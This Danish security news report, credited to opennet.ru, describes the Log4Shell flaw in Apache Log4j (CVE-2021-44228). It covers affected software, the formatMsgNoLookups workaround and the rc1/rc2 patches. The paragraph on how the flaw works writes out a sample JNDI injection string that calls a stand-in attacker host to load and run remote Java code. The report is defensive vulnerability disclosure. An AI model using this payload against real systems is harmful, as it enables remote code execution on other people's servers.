I Apache Log4j, et populært framework til logstyring i Java-applikationer, er der identificeret en kritisk sårbarhed, der muliggør udførelse af vilkårlig kode ved at logge et specielt formateret værdinavn som «{jndi:URL}». Angrebet kan udføres på Java-applikationer, der logger værdier fra eksterne kilder, som f.eks. ved at udskrive problematiske værdier i fejlmeddelelser.
Det bemærkes, at næsten alle projekter, der bruger frameworks som Apache Struts, Apache Solr, Apache Druid eller Apache Flink, er sårbare, inklusive Steam, Apple iCloud, og klientside- og serversideapplikationer til Minecraft. Det forventes, at sårbarheden kan føre til en bølge af massangreb på virksomhedsapplikationer, der gentager historien om kritiske sårbarheder i Apache Struts, som ca. 65 % af virksomhederne på Fortune 100-listen anvender i deres web-applikationer. Der er allerede registreret forsøg på at scanne netværket for sårbare systemer.
Problemet forværres af, at der allerede er offentliggjort en fungerende exploit, men der findes endnu ikke rettelser til stabile versioner. CVE-identifikatoren er endnu ikke tildelt. Rettelsen er kun inkluderet i testversionen log4j-2.15.0-rc1. For at omgå sårbarheden anbefales det at indstille parameteren log4j2.formatMsgNoLookups til true.
Problemet opstod, fordi log4j understøtter behandling af specielle masker «{}» i de loggede strenge, hvor JNDI (Java Naming and Directory Interface)-forespørgsler kunne udføres. Angrebet går ud på at sende en streng med indholdet «${jndi:ldap://attacker.com/a}», som ved behandling vil få log4j til at sende server en LDAP-forespørgsel til stien til Java-klassen hos attacker.com. Den returnerede serveren angriberens sti (f.eks. http://second-stage.attacker.com/Exploit.class) vil blive hentet og udført i konteksten af den nuværende proces, hvilket giver angriberen mulighed for at udføre vilkårlig kode på systemet med rettighederne for den aktuelle applikation.
Tillæg 1: Sårbarheden er tildelt CVE-2021-44228.
Tillæg 2: Der er fundet en metode til at omgå beskyttelsen, der blev tilføjet i version log4j-2.15.0-rc1. En ny opdatering log4j-2.15.0-rc2 er blevet foreslået med en mere omfattende beskyttelse mod sårbarheden. I koden fremhæves ændringen, der vedrører fraværet af en nedbrudshåndtering ved brug af et forkert formateret JNDI URL.
Kilde: opennet.ru
